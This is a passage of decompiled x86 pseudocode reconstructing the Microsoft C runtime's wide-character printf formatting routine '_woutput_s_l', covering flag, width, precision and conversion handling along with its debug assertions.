																case 2:
																	L20:
																	__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																	 *(__ebp - 0x4e4) = __ecx;
																	 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																	 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																	__eflags =  *(__ebp - 0x4e4) - 0x10;
																	if( *(__ebp - 0x4e4) > 0x10) {
																		goto L27;
																	}
																	L21:
																	_t59 =  *(__ebp - 0x4e4) + 0x42a984; // 0x498d04
																	__ecx =  *_t59 & 0x000000ff;
																	switch( *((intOrPtr*)(__ecx * 4 +  &M0042A96C))) {
																		case 0:
																			goto L24;
																		case 1:
																			goto L25;
																		case 2:
																			goto L23;
																		case 3:
																			goto L22;
																		case 4:
																			goto L26;
																		case 5:
																			goto L27;
																	}
																case 3:
																	L28:
																	__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																	__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
																	if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																		__edx =  *(__ebp - 0x18);
																		__edx =  *(__ebp - 0x18) * 0xa;
																		__eflags = __edx;
																		_t83 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																		__ecx = __edx + _t83;
																		 *(__ebp - 0x18) = __ecx;
																	} else {
																		__edx = __ebp + 0x14;
																		 *(__ebp - 0x18) = E00429820(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x18);
																		if( *(__ebp - 0x18) < 0) {
																			__eax =  *(__ebp - 0x10);
																			__eax =  *(__ebp - 0x10) | 0x00000004;
																			__eflags = __eax;
																			 *(__ebp - 0x10) = __eax;
																			__ecx =  *(__ebp - 0x18);
																			__ecx =  ~( *(__ebp - 0x18));
																			 *(__ebp - 0x18) = __ecx;
																		}
																	}
																	L33:
																	goto L214;
																case 4:
																	L34:
																	 *(__ebp - 0x30) = 0;
																	goto L214;
																case 5:
																	L35:
																	__edx =  *(__ebp - 0x454) & 0x0000ffff;
																	__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
																	if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																		__ecx =  *(__ebp - 0x30);
																		__ecx =  *(__ebp - 0x30) * 0xa;
																		__eflags = __ecx;
																		_t94 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																		__eax = __ecx + _t94;
																		 *(__ebp - 0x30) = __ecx + _t94;
																	} else {
																		__eax = __ebp + 0x14;
																		 *(__ebp - 0x30) = E00429820(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) < 0) {
																			 *(__ebp - 0x30) = 0xffffffff;
																		}
																	}
																	goto L214;
																case 6:
																	L41:
																	__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																	 *(__ebp - 0x4e8) = __ecx;
																	 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																	 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																	__eflags =  *(__ebp - 0x4e8) - 0x2e;
																	if( *(__ebp - 0x4e8) > 0x2e) {
																		L64:
																		goto L214;
																	}
																	L42:
																	_t102 =  *(__ebp - 0x4e8) + 0x42a9ac; // 0xa1c19003
																	__ecx =  *_t102 & 0x000000ff;
																	switch( *((intOrPtr*)(__ecx * 4 +  &M0042A998))) {
																		case 0:
																			L47:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x36;
																			if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
																				L50:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																				__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x33;
																				if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
																					L53:
																					__ecx =  *(__ebp + 0xc);
																					__edx =  *__ecx & 0x0000ffff;
																					__eflags = ( *__ecx & 0x0000ffff) - 0x64;
																					if(( *__ecx & 0x0000ffff) == 0x64) {
																						L59:
																						L61:
																						goto L64;
																					}
																					L54:
																					__eax =  *(__ebp + 0xc);
																					__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																					__eflags = __ecx - 0x69;
																					if(__ecx == 0x69) {
																						goto L59;
																					}
																					L55:
																					__edx =  *(__ebp + 0xc);
																					__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																					__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6f;
																					if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																						goto L59;
																					}
																					L56:
																					__ecx =  *(__ebp + 0xc);
																					__edx =  *__ecx & 0x0000ffff;
																					__eflags = ( *__ecx & 0x0000ffff) - 0x75;
																					if(( *__ecx & 0x0000ffff) == 0x75) {
																						goto L59;
																					}
																					L57:
																					__eax =  *(__ebp + 0xc);
																					__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																					__eflags = __ecx - 0x78;
																					if(__ecx == 0x78) {
																						goto L59;
																					}
																					L58:
																					__edx =  *(__ebp + 0xc);
																					__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																					__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x58;
																					if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																						 *(__ebp - 0x45c) = 0;
																						goto L18;
																					}
																					goto L59;
																				}
																				L51:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																				__eflags = __ecx - 0x32;
																				if(__ecx != 0x32) {
																					goto L53;
																				} else {
																					 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																					 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																					goto L61;
																				}
																			}
																			L48:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																			__eflags = __ecx - 0x34;
																			if(__ecx != 0x34) {
																				goto L50;
																			} else {
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																				goto L61;
																			}
																		case 1:
																			L62:
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00000020;
																			 *(__ebp - 0x10) = __ecx;
																			goto L64;
																		case 2:
																			L43:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6c;
																			if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
																				__eax =  *(__ebp - 0x10);
																				__eax =  *(__ebp - 0x10) | 0x00000010;
																				__eflags = __eax;
																				 *(__ebp - 0x10) = __eax;
																			} else {
																				__ecx =  *(__ebp + 0xc);
																				__ecx =  *(__ebp + 0xc) + 2;
																				 *(__ebp + 0xc) = __ecx;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																			}
																			goto L64;
																		case 3:
																			L63:
																			__edx =  *(__ebp - 0x10);
																			__edx =  *(__ebp - 0x10) | 0x00000800;
																			__eflags = __edx;
																			 *(__ebp - 0x10) = __edx;
																			goto L64;
																		case 4:
																			goto L64;
																	}
																case 7:
																	L65:
																	__eax =  *(__ebp - 0x454) & 0x0000ffff;
																	 *(__ebp - 0x4ec) =  *(__ebp - 0x454) & 0x0000ffff;
																	__ecx =  *(__ebp - 0x4ec);
																	__ecx =  *(__ebp - 0x4ec) - 0x41;
																	 *(__ebp - 0x4ec) = __ecx;
																	__eflags =  *(__ebp - 0x4ec) - 0x37;
																	if( *(__ebp - 0x4ec) > 0x37) {
																		while(1) {
																			L187:
																			__eflags =  *(_t674 - 0x28);
																			if( *(_t674 - 0x28) != 0) {
																				goto L212;
																			}
																			goto L188;
																		}
																	}
																	L66:
																	__edx =  *(__ebp - 0x4ec);
																	_t143 = __edx + 0x42aa18; // 0x55ff8b0d
																	__eax =  *_t143 & 0x000000ff;
																	switch( *((intOrPtr*)(( *_t143 & 0x000000ff) * 4 +  &M0042A9DC))) {
																		case 0:
																			L120:
																			 *(__ebp - 0x2c) = 1;
																			 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																			__eflags = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																			 *(__ebp - 0x454) = __ax;
																			goto L121;
																		case 1:
																			L67:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			__eflags =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				__edx =  *(__ebp - 0x10);
																				__edx =  *(__ebp - 0x10) | 0x00000020;
																				__eflags = __edx;
																				 *(__ebp - 0x10) = __edx;
																			}
																			goto L69;
																		case 2:
																			L82:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			__eflags =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) | 0x00000020;
																				__eflags = __ecx;
																				 *(__ebp - 0x10) = __ecx;
																			}
																			goto L84;
																		case 3:
																			L143:
																			 *(__ebp - 0x460) = 7;
																			goto L145;
																		case 4:
																			L75:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x474) = E00429820(__ebp + 0x14);
																			__eflags =  *(__ebp - 0x474);
																			if( *(__ebp - 0x474) == 0) {
																				L77:
																				__edx =  *0x44ba18; // 0x409128
																				 *(__ebp - 4) = __edx;
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E00427150( *(__ebp - 4));
																				L81:
																				goto L187;
																			}
																			L76:
																			__ecx =  *(__ebp - 0x474);
																			__eflags =  *(__ecx + 4);
																			if( *(__ecx + 4) != 0) {
																				L78:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																				__eflags =  *(__ebp - 0x10) & 0x00000800;
																				if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																					 *(__ebp - 0xc) = 0;
																					__edx =  *(__ebp - 0x474);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x474);
																					__edx =  *__ecx;
																					 *(__ebp - 0x24) =  *__ecx;
																				} else {
																					__edx =  *(__ebp - 0x474);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x474);
																					__eax =  *__ecx;
																					asm("cdq");
																					 *__ecx - __edx =  *__ecx - __edx >> 1;
																					 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																					 *(__ebp - 0xc) = 1;
																				}
																				goto L81;
																			}
																			goto L77;
																		case 5:
																			L121:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			__edx = __ebp - 0x448;
																			 *(__ebp - 4) = __ebp - 0x448;
																			 *(__ebp - 0x44) = 0x200;
																			__eflags =  *(__ebp - 0x30);
																			if( *(__ebp - 0x30) >= 0) {
																				L123:
																				__eflags =  *(__ebp - 0x30);
																				if( *(__ebp - 0x30) != 0) {
																					L126:
																					__eflags =  *(__ebp - 0x30) - 0x200;
																					if( *(__ebp - 0x30) > 0x200) {
																						 *(__ebp - 0x30) = 0x200;
																					}
																					L128:
																					__eflags =  *(__ebp - 0x30) - 0xa3;
																					if( *(__ebp - 0x30) > 0xa3) {
																						__ecx =  *(__ebp - 0x30);
																						__ecx =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x20) = L00421A30( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																						__eflags =  *(__ebp - 0x20);
																						if( *(__ebp - 0x20) == 0) {
																							 *(__ebp - 0x30) = 0xa3;
																						} else {
																							__edx =  *(__ebp - 0x20);
																							 *(__ebp - 4) =  *(__ebp - 0x20);
																							 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																							 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																						}
																					}
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					__edx =  *(__ebp + 0x14);
																					__eax =  *(__edx - 8);
																					__ecx =  *(__edx - 4);
																					 *(__ebp - 0x490) =  *(__edx - 8);
																					 *(__ebp - 0x48c) =  *(__edx - 4);
																					__ecx = __ebp - 0x40;
																					_push(E00423790(__ebp - 0x40));
																					__edx =  *(__ebp - 0x2c);
																					_push( *(__ebp - 0x2c));
																					__eax =  *(__ebp - 0x30);
																					_push( *(__ebp - 0x30));
																					__ecx =  *(__ebp - 0x454);
																					_push( *(__ebp - 0x454));
																					__edx =  *(__ebp - 0x44);
																					_push( *(__ebp - 0x44));
																					__eax =  *(__ebp - 4);
																					_push(__eax);
																					__ecx = __ebp - 0x490;
																					_push(__ebp - 0x490);
																					__edx =  *0x44ba08; // 0xae625e32
																					_push(__edx);
																					__imp__DecodePointer();
																					__eax =  *__eax();
																					__esp = __esp + 0x1c;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					__eflags =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																						__eflags =  *(__ebp - 0x30);
																						if( *(__ebp - 0x30) == 0) {
																							__ecx = __ebp - 0x40;
																							__eax = E00423790(__ebp - 0x40);
																							_push(__eax);
																							__ecx =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__edx =  *0x44ba14; // 0xae625e32
																							_push(__edx);
																							__imp__DecodePointer();
																							__eax =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__eax =  *(__ebp - 0x454) & 0x0000ffff;
																					__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
																					if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																						__eflags =  *(__ebp - 0x10) & 0x00000080;
																						if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E00423790(__ebp - 0x40));
																							__edx =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__eax =  *0x44ba10; // 0xae625e32
																							_push(__eax);
																							__imp__DecodePointer();
																							__eax =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__ecx =  *(__ebp - 4);
																					__edx =  *( *(__ebp - 4));
																					__eflags =  *( *(__ebp - 4)) - 0x2d;
																					if( *( *(__ebp - 4)) == 0x2d) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						__ecx =  *(__ebp - 4);
																						__ecx =  *(__ebp - 4) + 1;
																						__eflags = __ecx;
																						 *(__ebp - 4) = __ecx;
																					}
																					__edx =  *(__ebp - 4);
																					 *(__ebp - 0x24) = E00427150( *(__ebp - 4));
																					do {
																						L187:
																						__eflags =  *(_t674 - 0x28);
																						if( *(_t674 - 0x28) != 0) {
																							goto L212;
																						}
																						goto L188;
																					} while ( *(__ebp - 0x4ec) > 0x37);
																					goto L66;
																				}
																				L124:
																				__eax =  *(__ebp - 0x454) & 0x0000ffff;
																				__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
																				if(( *(__ebp - 0x454) & 0x0000ffff) != 0x67) {
																					goto L126;
																				}
																				L125:
																				 *(__ebp - 0x30) = 1;
																				goto L128;
																			}
																			L122:
																			 *(__ebp - 0x30) = 6;
																			goto L128;
																		case 6:
																			L69:
																			 *(__ebp - 0xc) = 1;
																			__ebp + 0x14 = E00429820(__ebp + 0x14);
																			 *(__ebp - 0x458) = __ax;
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) & 0x00000020;
																			__eflags = __ecx;
																			if(__ecx == 0) {
																				 *(__ebp - 0x448) =  *(__ebp - 0x458);
																			} else {
																				 *(__ebp - 0x458) & 0x0000ffff =  *(__ebp - 0x458) & 0xff;
																				 *(__ebp - 0x470) = __dl;
																				 *((char*)(__ebp - 0x46f)) = 0;
																				__ecx = __ebp - 0x40;
																				__eax = E00423790(__ebp - 0x40);
																				__ecx = __ebp - 0x40;
																				E00423790(__ebp - 0x40) =  *__eax;
																				__ecx =  *(__ebp - 0x448 + 0xac);
																				__edx = __ebp - 0x470;
																				__eax = __ebp - 0x448;
																				__eax = E00439180(__ebp - 0x448, __ebp - 0x470,  *(__ebp - 0x448 + 0xac), __ebp - 0x448);
																				__eflags = __eax;
																				if(__eax < 0) {
																					 *(__ebp - 0x28) = 1;
																				}
																			}
																			__edx = __ebp - 0x448;
																			 *(__ebp - 4) = __ebp - 0x448;
																			 *(__ebp - 0x24) = 1;
																			while(1) {
																				L187:
																				__eflags =  *(_t674 - 0x28);
																				if( *(_t674 - 0x28) != 0) {
																					goto L212;
																				}
																				goto L188;
																			}
																		case 7:
																			goto L0;
																		case 8:
																			L106:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x484) = E00429820(__ebp + 0x14);
																			__eax = E004390D0();
																			__eflags = __eax;
																			if(__eax != 0) {
																				L116:
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) & 0x00000020;
																				__eflags = __ecx;
																				if(__ecx == 0) {
																					__ecx =  *(__ebp - 0x484);
																					__edx =  *(__ebp - 0x44c);
																					 *__ecx =  *(__ebp - 0x44c);
																				} else {
																					__edx =  *(__ebp - 0x484);
																					__ax =  *(__ebp - 0x44c);
																					 *( *(__ebp - 0x484)) = __ax;
																				}
																				 *(__ebp - 0x28) = 1;
																				while(1) {
																					L187:
																					__eflags =  *(_t674 - 0x28);
																					if( *(_t674 - 0x28) != 0) {
																						goto L212;
																					}
																					goto L188;
																				}
																			}
																			L107:
																			__ecx = 0;
																			__eflags = 0;
																			if(0 == 0) {
																				 *(__ebp - 0x4f4) = 0;
																			} else {
																				 *(__ebp - 0x4f4) = 1;
																			}
																			__edx =  *(__ebp - 0x4f4);
																			 *(__ebp - 0x488) =  *(__ebp - 0x4f4);
																			__eflags =  *(__ebp - 0x488);
																			if( *(__ebp - 0x488) == 0) {
																				_push(L"(\"\'n\' format specifier disabled\", 0)");
																				_push(0);
																				_push(0x695);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				__eax = L00427590();
																				__esp = __esp + 0x14;
																				__eflags = __eax - 1;
																				if(__eax == 1) {
																					asm("int3");
																				}
																			}
																			__eflags =  *(__ebp - 0x488);
																			if( *(__ebp - 0x488) != 0) {
																				L115:
																				while(1) {
																					L187:
																					__eflags =  *(_t674 - 0x28);
																					if( *(_t674 - 0x28) != 0) {
																						goto L212;
																					}
																					goto L188;
																				}
																			} else {
																				L114:
																				 *((intOrPtr*)(L004256E0(__ecx))) = 0x16;
																				__eax = E00428500(__ecx, L"(\"\'n\' format specifier disabled\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																				 *(__ebp - 0x4cc) = 0xffffffff;
																				__ecx = __ebp - 0x40;
																				__eax = E00423760(__ecx);
																				__eax =  *(__ebp - 0x4cc);
																				goto L225;
																			}
																		case 9:
																			L148:
																			 *(__ebp - 8) = 8;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			__eflags =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				__edx =  *(__ebp - 0x10);
																				__edx =  *(__ebp - 0x10) | 0x00000200;
																				__eflags = __edx;
																				 *(__ebp - 0x10) = __edx;
																			}
																			goto L150;
																		case 0xa:
																			L142:
																			 *(__ebp - 0x30) = 8;
																			goto L143;
																		case 0xb:
																			L84:
																			__eflags =  *(__ebp - 0x30) - 0xffffffff;
																			if( *(__ebp - 0x30) != 0xffffffff) {
																				__edx =  *(__ebp - 0x30);
																				 *(__ebp - 0x4f0) =  *(__ebp - 0x30);
																			} else {
																				 *(__ebp - 0x4f0) = 0x7fffffff;
																			}
																			__eax =  *(__ebp - 0x4f0);
																			 *(__ebp - 0x47c) =  *(__ebp - 0x4f0);
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 4) = E00429820(__ebp + 0x14);
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																			__eflags =  *(__ebp - 0x10) & 0x00000020;
																			if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																				L98:
																				__eflags =  *(__ebp - 4);
																				if( *(__ebp - 4) == 0) {
																					__ecx =  *0x44ba1c; // 0x409118
																					 *(__ebp - 4) = __ecx;
																				}
																				 *(__ebp - 0xc) = 1;
																				__edx =  *(__ebp - 4);
																				 *(__ebp - 0x480) =  *(__ebp - 4);
																				while(1) {
																					L101:
																					__eax =  *(__ebp - 0x47c);
																					__ecx =  *(__ebp - 0x47c);
																					__ecx =  *(__ebp - 0x47c) - 1;
																					 *(__ebp - 0x47c) = __ecx;
																					__eflags =  *(__ebp - 0x47c);
																					if( *(__ebp - 0x47c) == 0) {
																						break;
																					}
																					L102:
																					__edx =  *(__ebp - 0x480);
																					__eax =  *( *(__ebp - 0x480)) & 0x0000ffff;
																					__eflags =  *( *(__ebp - 0x480)) & 0x0000ffff;
																					if(( *( *(__ebp - 0x480)) & 0x0000ffff) == 0) {
																						break;
																					}
																					L103:
																					 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																					 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																				}
																				L104:
																				__edx =  *(__ebp - 0x480);
																				__edx =  *(__ebp - 0x480) -  *(__ebp - 4);
																				__eflags = __edx;
																				 *(__ebp - 0x24) = __edx;
																				goto L105;
																			} else {
																				L88:
																				__eflags =  *(__ebp - 4);
																				if( *(__ebp - 4) == 0) {
																					__eax =  *0x44ba18; // 0x409128
																					 *(__ebp - 4) = __eax;
																				}
																				__ecx =  *(__ebp - 4);
																				 *(__ebp - 0x478) = __ecx;
																				 *(__ebp - 0x24) = 0;
																				while(1) {
																					L92:
																					__eax =  *(__ebp - 0x24);
																					__eflags =  *(__ebp - 0x24) -  *(__ebp - 0x47c);
																					if( *(__ebp - 0x24) >=  *(__ebp - 0x47c)) {
																						break;
																					}
																					L93:
																					__ecx =  *(__ebp - 0x478);
																					__edx =  *__ecx;
																					__eflags =  *__ecx;
																					if( *__ecx == 0) {
																						break;
																					}
																					L94:
																					__ecx = __ebp - 0x40;
																					E00423790(__ebp - 0x40) =  *(__ebp - 0x478);
																					__ecx =  *( *(__ebp - 0x478)) & 0x000000ff;
																					__eax = E00439110( *( *(__ebp - 0x478)) & 0x000000ff,  *(__ebp - 0x478));
																					__eflags = __eax;
																					if(__eax != 0) {
																						__edx =  *(__ebp - 0x478);
																						__edx =  *(__ebp - 0x478) + 1;
																						__eflags = __edx;
																						 *(__ebp - 0x478) = __edx;
																					}
																					 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																					 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																					__edx =  *(__ebp - 0x24);
																					__edx =  *(__ebp - 0x24) + 1;
																					__eflags = __edx;
																					 *(__ebp - 0x24) = __edx;
																				}
																				L97:
																				L105:
																				while(1) {
																					L187:
																					__eflags =  *(_t674 - 0x28);
																					if( *(_t674 - 0x28) != 0) {
																						goto L212;
																					}
																					goto L188;
																				}
																			}
																		case 0xc:
																			L141:
																			 *(__ebp - 8) = 0xa;
																			goto L150;
																		case 0xd:
																			L144:
																			 *(__ebp - 0x460) = 0x27;
																			L145:
																			 *(__ebp - 8) = 0x10;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			__eflags =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				__edx = 0x30;
																				 *((short*)(__ebp - 0x14)) = __dx;
																				 *(__ebp - 0x460) =  *(__ebp - 0x460) + 0x51;
																				__eflags =  *(__ebp - 0x460) + 0x51;
																				 *(__ebp - 0x12) = __ax;
																				 *(__ebp - 0x1c) = 2;
																			}
																			goto L150;
																		case 0xe:
																			while(1) {
																				L187:
																				__eflags =  *(_t674 - 0x28);
																				if( *(_t674 - 0x28) != 0) {
																					goto L212;
																				}
																				goto L188;
																			}
																	}
																case 8:
																	L24:
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00000002;
																	 *(__ebp - 0x10) = __ecx;
																	goto L27;
																case 9:
																	L25:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																	goto L27;
																case 0xa:
																	L23:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
																	goto L27;
																case 0xb:
																	L22:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																	goto L27;
																case 0xc:
																	L26:
																	__eax =  *(__ebp - 0x10);
																	__eax =  *(__ebp - 0x10) | 0x00000008;
																	__eflags = __eax;
																	 *(__ebp - 0x10) = __eax;
																	goto L27;
																case 0xd:
																	L27:
																	goto L214;
															}
														} else {
															_t642 = 0;
															__eflags = 0;
															if(0 == 0) {
																 *(_t674 - 0x4dc) = 0;
															} else {
																 *(_t674 - 0x4dc) = 1;
															}
															 *(_t674 - 0x46c) =  *(_t674 - 0x4dc);
															__eflags =  *(_t674 - 0x46c);
															if( *(_t674 - 0x46c) == 0) {
																_push(L"(\"Incorrect format specifier\", 0)");
																_push(0);
																_push(0x460);
																_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																_push(2);
																_t519 = L00427590();
																_t677 = _t677 + 0x14;
																__eflags = _t519 - 1;
																if(_t519 == 1) {
																	asm("int3");
																}
															}
															L14:
															__eflags =  *(_t674 - 0x46c);
															if( *(_t674 - 0x46c) != 0) {
																goto L16;
															} else {
																 *((intOrPtr*)(L004256E0(_t588))) = 0x16;
																E00428500(_t588, L"(\"Incorrect format specifier\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
																 *(_t674 - 0x4c8) = 0xffffffff;
																E00423760(_t674 - 0x40);
																_t504 =  *(_t674 - 0x4c8);
																L225:
																__eflags =  *(_t674 - 0x48) ^ _t674;
																return E00425740(_t504, _t567,  *(_t674 - 0x48) ^ _t674, _t642, _t672, _t673);
															}
														}
													}
													L4:
													__eflags = ( *(_t674 - 0x454) & 0x0000ffff) - 0x78;
													if(( *(_t674 - 0x454) & 0x0000ffff) > 0x78) {
														goto L6;
													} else {
														 *(_t674 - 0x4d8) =  *(( *(_t674 - 0x454) & 0x0000ffff) + L"cur_max == 2") & 0xf;
														goto L7;
													}
												}
												L215:
												__eflags =  *(_t674 - 0x45c);
												if( *(_t674 - 0x45c) == 0) {
													L218:
													 *(_t674 - 0x4f8) = 1;
													L219:
													_t642 =  *(_t674 - 0x4f8);
													 *(_t674 - 0x4bc) =  *(_t674 - 0x4f8);
													__eflags =  *(_t674 - 0x4bc);
													if( *(_t674 - 0x4bc) == 0) {
														_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
														_push(0);
														_push(0x8f5);
														_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
														_push(2);
														_t509 = L00427590();
														_t677 = _t677 + 0x14;
														__eflags = _t509 - 1;
														if(_t509 == 1) {
															asm("int3");
														}
													}
													__eflags =  *(_t674 - 0x4bc);
													if( *(_t674 - 0x4bc) != 0) {
														 *(_t674 - 0x4d4) =  *(_t674 - 0x44c);
														E00423760(_t674 - 0x40);
														_t504 =  *(_t674 - 0x4d4);
													} else {
														 *((intOrPtr*)(L004256E0(_t580))) = 0x16;
														E00428500(_t580, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
														 *(_t674 - 0x4d0) = 0xffffffff;
														E00423760(_t674 - 0x40);
														_t504 =  *(_t674 - 0x4d0);
													}
													goto L225;
												}
												L216:
												__eflags =  *(_t674 - 0x45c) - 7;
												if( *(_t674 - 0x45c) == 7) {
													goto L218;
												}
												L217:
												 *(_t674 - 0x4f8) = 0;
												goto L219;
											}
										}
										L184:
										__eflags =  *(_t674 - 0x24);
										if( *(_t674 - 0x24) == 0) {
											L186:
											 *((intOrPtr*)(_t674 - 4)) =  *((intOrPtr*)(_t674 - 4)) - 1;
											 *((char*)( *((intOrPtr*)(_t674 - 4)))) = 0x30;
											_t613 =  *(_t674 - 0x24) + 1;
											__eflags = _t613;
											 *(_t674 - 0x24) = _t613;
											goto L187;
										}
										L185:
